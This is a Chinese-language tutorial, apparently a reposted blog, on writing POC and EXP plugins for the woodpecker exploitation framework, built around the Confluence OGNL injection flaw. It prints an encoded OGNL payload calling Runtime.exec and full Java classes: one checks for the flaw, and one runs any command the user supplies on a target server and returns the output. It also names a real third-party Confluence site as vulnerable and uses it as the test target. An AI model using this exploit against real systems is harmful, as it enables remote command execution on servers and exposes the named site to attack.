POC EXP | woodpecker插件编写

woodpecker插件编写

目录

  • woodpecker介绍
  • woodpecker使用
  • 插件编写
    • 安装环境
      • woodpecker-sdk
      • woodpecker-request
    • 创建Maven项目
  • Confluence OGNL表达式注入漏洞插件编写
    • 创建Package包和Class类
    • 编写POC
      • 漏洞POC
      • 代码编写
      • 导出jar包
      • 将jar包放入woodpecker的plugin目录
      • 运行woodpecker测试
    • 编写EXP
      • 代码编写
      • 运行woodpecker测试

woodpecker介绍

  • https://github.com/woodpecker-framework/woodpecker-framework-release

woodpecker-framework是一款漏洞精准检测深度利用框架,只做一件事:精准狙击高危漏洞

针对人群:专业打点人士。

  • 目标探测
  • 精准检测
  • 深度利用
  • 荷载生成

在这里插入图片描述

woodpecker使用

java -jar woodpecker-framework.1.3.5.jar

运行之后,会自动生成common、config.db、plugin

在这里插入图片描述

plugin用来存放woopecker插件。

插件编写

安装环境

woodpecker-sdk

woodpecker-sdkwoodpecker-framework的开发SDK,里面定义了woodpecker-framework开放的接口。 开发者可以通过接口编写插件实现自己想要的功能。

  • https://github.com/woodpecker-framework/woodpecker-sdk

下载下来,解压,使用IDE打开项目,点击右侧“install”。

在这里插入图片描述

woodpecker-request

woodpecker-requests是基于 requests 为woodpecker框架定制开发的httpclient库,目的是编写插件时能拥有像python requests一样的便利。特点为可以全局设置代理、全局设置UA等

  • https://github.com/woodpecker-framework/woodpecker-requests

下载下来,解压,使用IDE打开项目,点击右侧“install”。

在这里插入图片描述

创建Maven项目

在这里插入图片描述

在这里插入图片描述

    <dependencies>
        <dependency>
            <groupId>me.gv7.woodpecker</groupId>
            <artifactId>woodpecker-sdk</artifactId>
            <version>0.3.0</version>
        </dependency>
        <dependency>
            <groupId>me.gv7.woodpecker</groupId>
            <artifactId>woodpecker-requests</artifactId>
            <version>0.2.0</version>
        </dependency>
    </dependencies>

Confluence OGNL表达式注入漏洞插件编写

创建Package包和Class类

创建Package包

  • exploit
  • pocs
  • utils

和Class类

  • ConfluenceVulPlugin(不固定,和漏洞名相关)
  • WoodpeckerPluginManager整个程序的入口
  • ConfluenceOgnlPoc(不固定,和漏洞名相关)
  • ConfluenceOgnlExp(不固定,和漏洞名相关)

在这里插入图片描述

编写POC

漏洞POC

http://IP地址 /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(" echo 'ognlinject' ").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(" X-Response ",#a))}/

进行url编码为:

/$%7B(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec( %22echo%20'ognlinject'%22 ).getInputStream(),%22utf-8%22)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(%22 X-Response %22,#a))%7D/

代码编写

WoodpeckerPluginManager类:(整个插件的入口)

package me.gv7.woodpecker.plugin;

// IPluginManager接口由woodpecker-sdk提供
public class WoodpeckerPluginManager implements IPluginManager{
    @Override
    public void registerPluginManagerCallbacks(IPluginManagerCallbacks iPluginManagerCallbacks) {
        // 注册漏洞插件
        iPluginManagerCallbacks.registerVulPlugin( new ConfluenceVulPlugin() );
    }
}

ConfluenceVulPlugin类:(具体的漏洞插件类)

package me.gv7.woodpecker.plugin;

import me.gv7.woodpecker.plugin.exploit.ConfluenceOgnlExp;
import me.gv7.woodpecker.plugin.pocs.ConfluenceOgnlPoc;

import java.util.ArrayList;
import java.util.List;

// IVulPlugin接口由woodpecker-sdk提供
public class ConfluenceVulPlugin implements IVulPlugin{

    public static IVulPluginCallbacks callbacks;
    public static IPluginHelper pluginHelper;
    @Override
    public void VulPluginMain(IVulPluginCallbacks iVulPluginCallbacks) {
        this.callbacks = iVulPluginCallbacks;
        this.pluginHelper = iVulPluginCallbacks.getPluginHelper();

        iVulPluginCallbacks.setVulPluginName("Confluence OGNL表达式注入漏洞POC"); // 插件名字
        iVulPluginCallbacks.setVulPluginAuthor("L3yia"); // 作者名
        iVulPluginCallbacks.setVulPluginVersion("1.0.0"); // 插件版本
        iVulPluginCallbacks.setVulName("Confluence OGNL表达式注入漏洞"); // 漏洞名称
        iVulPluginCallbacks.setVulDescription("Confluence OGNL表达式注入漏洞"); // 漏洞描述

        // 注册漏洞验证模块
        iVulPluginCallbacks.registerPoc(new ConfluenceOgnlPoc());

        // 注册漏洞利用模块(利用模块可以有多个)
        List<IExploit> exploitList = new ArrayList();
        exploitList.add(new ConfluenceOgnlExp());
        iVulPluginCallbacks.registerExploit(exploitList);
    }
}


ConfluenceOgnlPoc类:

package me.gv7.woodpecker.plugin.pocs;

import me.gv7.woodpecker.plugin.*;
import me.gv7.woodpecker.requests.RawResponse;
import me.gv7.woodpecker.requests.Requests;

import java.util.HashMap;
import java.util.Map;
import java.util.Objects;

public class ConfluenceOgnlPoc implements IPoc {
    @Override
    public IScanResult doVerify(ITarget iTarget, IResultOutput iResultOutput) throws Throwable {
        // 创建输出模块,用作结果的输出
        IScanResult scanResult = ConfluenceVulPlugin.pluginHelper.createScanResult();
        // 设置目标地址,iTarget.getAddress()由插件面板获取地址
        scanResult.setTarget(iTarget.getAddress());
        // 调用漏洞验证函数
        Map<String, Object> responseMap = checkConfluenceOgnl(iTarget.getAddress());

        scanResult.setExists((Boolean) responseMap.get("flag"));
        scanResult.setMsg((String) responseMap.get("results"));

        iResultOutput.infoPrintln((String) responseMap.get("results"));
        return scanResult;
    }
    
    // 漏洞验证函数
    private Map<String, Object> checkConfluenceOgnl(String address){
        Map<String,Object> responseMap = new HashMap<>();
        boolean flag = false;
        String results  = null;
        try {
            /*
                Requests.get()发送一个get请求(验证漏洞的POC)。
                verify(false) : 忽略https证书失效
                timeout(3000) : 超时时间3000毫秒
                send() : 发送
            */
            RawResponse response = Requests.get(address + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22 echo%20'ognlinject' %22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/").verify(false).timeout(3000).send();
            String header = response.getHeader("X-Response");
            if(response.statusCode() == 302 && header.contains("ognlinject")){
                flag = true;
                results = String.format("%s存在命令注入漏洞!!!",address);
            }else {
                flag = false;
                results = String.format("%s不存在命令注入漏洞",address);
            }

        }catch (Exception e){
            flag = false;
            results = String.format("%s不存在命令注入漏洞",address);
        }finally {
            // 设置responseMap的值,将flag和results带回去
            responseMap.put("flag",flag);
            responseMap.put("results",results);
        }
        // 返回
        return responseMap;
    }
}

导出jar包

点击“package”生成jar包:

在这里插入图片描述

在这里插入图片描述

将jar包放入woodpecker的plugin目录

在这里插入图片描述

运行woodpecker测试

在这里插入图片描述

测试网址:此网址存在该漏洞

https://confluence.startwire.com

在这里插入图片描述

编写EXP

代码编写

ConfluenceOgnlExp类:

package me.gv7.woodpecker.plugin.exploit;

import me.gv7.woodpecker.plugin.*;
import me.gv7.woodpecker.requests.RawResponse;
import me.gv7.woodpecker.requests.Requests;

import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;

public class ConfluenceOgnlExp implements IExploit {
    @Override
    public String getExploitTabCaption() {
        return "代码执行";  // 选项名称
    }

    // 接收用户参数
    @Override
    public IArgsUsageBinder getExploitCustomArgs() {
        IArgsUsageBinder argsUsageBinder = ConfluenceVulPlugin.pluginHelper.createArgsUsageBinder();
        List<IArg> args = new ArrayList<>();

        IArg command = ConfluenceVulPlugin.pluginHelper.createArg();
        command.setDescription("执行的命令");
        command.setName("Command");
        command.setDefaultValue("whoami");
        command.setRequired(true);  // 必填
        args.add(command);
        argsUsageBinder.setArgsList(args);
        return argsUsageBinder;
    }

    @Override
    public void doExploit(ITarget iTarget, Map<String, Object> map, IResultOutput iResultOutput) throws Throwable {
        try {
            String command = (String) map.get("Command");
            command = URLEncoder.encode(command);
            String address = iTarget.getAddress();
            RawResponse response = Requests.get(address + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22"+command+"%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/").verify(false).timeout(3000).send();
            if (response.statusCode() == 302){
                String responseHeader = response.getHeader("X-Response");
                iResultOutput.successPrintln(responseHeader);
            }else{
                iResultOutput.failPrintln("执行失败了~");
            }
        }catch (Exception e){
            iResultOutput.failPrintln("执行异常了~");
        }
    }
}

运行woodpecker测试

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/713606.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

UML与设计模式

1、关联关系 关联关系用于描述不同类的对象之间的结构关系&#xff0c;它在一段时间内将多个类的实例连接在一起。关联关系是一种静态关系&#xff0c;通常与运行状态无关&#xff0c;而是由“常识”、“规则”、“法律”等因素决定的&#xff0c;因此关联关系是一种强关联的关…

MPC质心跟随控制(CoM Tracking Control)

MPC质心跟随 在人形机器人中,质心(CoM)的跟随控制是保持机器人稳定和协调运动的关键技术之一。模型预测控制(MPC)是一种先进的控制方法,通过解决在线优化问题来控制机器人质心的位置和速度。下面我们详细介绍如何使用MPC实现质心跟随控制。 MPC基本原理 模型预测控制是…

Iptables深入浅出

1、iptables的基本概念 众所周知iptables是Linux系统下自带免费的包过滤防火墙。其实不然&#xff0c;iptables其实不是真正的防火墙&#xff0c;我们可以把它理解成一个客户端代理&#xff0c;用户通过iptables这个代理&#xff0c;将用户的安全设定执行到对应的”安全框架”…

微软正在推动 OpenAI 转变为营利性公司!Sam Altman 或拥有更多股权 股东也“逼宫”保时捷

目前&#xff0c;OpenAI估值为860亿美元&#xff0c;转型为营利性公司或加速OpenAI IPO&#xff0c;微软及其他投资者认为&#xff0c;若 Altman拥有更多股权&#xff0c;可能就不会那么有动力专注于其他项目和投资其他AI公司。 根据The Information最新报道&#xff0c;Sam A…

C# TextBox模糊查询及输入提示

在程序中&#xff0c;我们经常会遇到文本框中不知道输入什么内容&#xff0c;这时我们可以在文本框中显示提示词提示用户&#xff1b;或者需要查询某个内容却记不清完整信息&#xff0c;通常可以通过文本框列出与输入词相匹配的信息&#xff0c;帮助用户快速索引信息。 文本框…

java打印helloworld

源代码 public class Function1 {public static void main(String[] args) {System.out.println("hello world");}} 打印结果

llama3-70B体验

NVIDIA LLAMA3-70B大模型体验地址&#xff1a; NVIDIA NIM | llama3-70b 问题几个关于宇宙的问题&#xff0c;答案挺有意思的&#xff0c;很有启发性&#xff0c;记录一下&#xff1a; 问题1&#xff1a;既然相对论认为时间是相对的&#xff0c;为何却说宇宙寿命有137亿年&a…

Luma AI如何注册:文生视频领域的新星

文章目录 Luma AI如何注册&#xff1a;文生视频领域的新星一、Luma 注册方式二、Luma 的效果三、Luma 的优势四、Luma 的功能总结 Luma AI如何注册&#xff1a;文生视频领域的新星 近年来&#xff0c;Luma AI 凭借其在文生视频领域的创新技术&#xff0c;逐渐成为行业的新星。…

如何设计网站

设计网站是一个复杂而又有趣的过程。一个好的网站设计不仅可以吸引用户的注意力&#xff0c;还能提供良好的用户体验。下面我将分享一些关于如何设计网站的基本原则。 首先&#xff0c;需要明确网站的目标和受众。在设计网站之前&#xff0c;你应该明确你的网站的目标是什么。你…

MacOS之Rosetta技术的引入

提示&#xff1a;宝子们&#xff0c;希望文章对你们有所帮助&#xff0c; 请一键三连支持博主下吧&#xff5e; 文章目录 前言一、Rosetta 是什么&#xff1f;二、关于安装Rosetta三、关于Rosetta的问题分享总结 前言 博主的个人开发环境和配置说明&#xff1a; MacOS Montere…

模仿qsort实现一个通用的冒泡排序

目录 前言 模仿 排序整型数组 排序结构体数组 排序字符数组 前言 qsort在前面我们讲到底层逻辑是快速排序的方式&#xff0c;是不是可以发现有了qsort来进行排序的话&#xff0c;就更加的方便快捷&#xff0c;我们在使用的时候 一方面&#xff0c;代码量会大大的减少 另一…

目标检测数据集 - 零售食品LOGO检测数据集下载「包含VOC、COCO、YOLO三种格式」

数据集介绍&#xff1a;零售食品 LOGO 检测数据集&#xff0c;真实零售食品 LOGO 高质量商品图片数据&#xff0c;数据集含常见零售食品 LOGO 图片&#xff0c;包括饮料类、酒类、调味品类、膨化饼干类、巧克力类、常见零食类等等。数据集类别丰富&#xff0c;标注标签包含 150…

DC/AC电源模块:为电动车充电基础设施提供高效能源转换

BOSHIDA DC/AC电源模块&#xff1a;为电动车充电基础设施提供高效能源转换 DC/AC电源模块是一种用于电动车充电基础设施的重要组件&#xff0c;它能够实现高效能源转换。在电动车的普及和推广过程中&#xff0c;DC/AC电源模块的重要性日益凸显。本文将从DC/AC电源模块的基本原…

Mybatis调用存储过程

在mysql数据库中创建一个存储过程 DELIMITER $$ CREATEPROCEDURE mybatisdemo1.pgetallusers(IN sid INT,IN eid INT)BEGINSELECT * FROM sb_users WHERE id>sid AND id<eid;END$$ DELIMITER ; 在Mapper接口里创建方法&#xff0c;和普通的查询数据方法没区别 在Mybati…

注册中心理论学习

注册中心介绍 注册中心&#xff08;也称为服务注册中心或服务发现服务&#xff09;是微服务架构中的一个关键组件&#xff0c;它负责服务的注册与发现。在微服务体系中&#xff0c;服务实例的数量和位置是动态变化的&#xff0c;注册中心提供了一个集中的地方来存储这些信息&a…

IDEA 设置主题、背景图片、背景颜色

一、设置主题 1、点击菜单 File -> Settings : 点击 Settings 菜单 2、点击 Editor -> Color Scheme -> Scheme, 小哈的 IDEA 版本号为 2022.2.3 , 官方默认提供了 4 种主题&#xff1a; Classic Light &#xff08;经典白&#xff09; ;Darcula &#xff08;暗黑主…

springboot景区寄存管理系统(源码+sql+论文报告)

针对传统人工行李寄存效率低和安全性不足等问题&#xff0c;设计并实现了一种由网页控制器组成的智能行李寄存系统。首先能够实现行李的寄存管理和行李柜管理以及记录查询和通知公告以及管理员等灵活控制菜单显示权限。经过研究和测试结果显示&#xff0c;该行李寄存系统实现了…

网页右键不能审查元素解决办法

网页右键不能审查元素解决办法 1.问题复现2.解决方法 1.问题复现 有的网站右键不能审查元素 这时是javascript 中的onselectstart"return false" 被禁止右键了。 2.解决方法 隐私和安全--->网络设置 网络设置--->javascript 然后回到不能审查元素的网页 …

数据结构01 栈及其相关问题讲解【C++实现】

栈是一种线性数据结构&#xff0c;栈的特征是数据的插入和删除只能通过一端来实现&#xff0c;这一端称为“栈顶”&#xff0c;相应的另一端称为“栈底”。 栈及其特点 用一个简单的例子来说&#xff0c;栈就像一个放乒乓球的圆筒&#xff0c;底部是封住的&#xff0c;如果你想…

远程连接路由器:方法大全与优缺点解析

远程连接路由器的方式主要有以下几种&#xff0c;以下是每种方式的详细说明及其优缺点&#xff1a; 使用Web浏览器登录 方法&#xff1a;通过配置路由器的远程管理功能&#xff0c;允许用户通过互联网浏览器访问路由器的管理界面。用户只需输入路由器的公网IP地址或域名&#…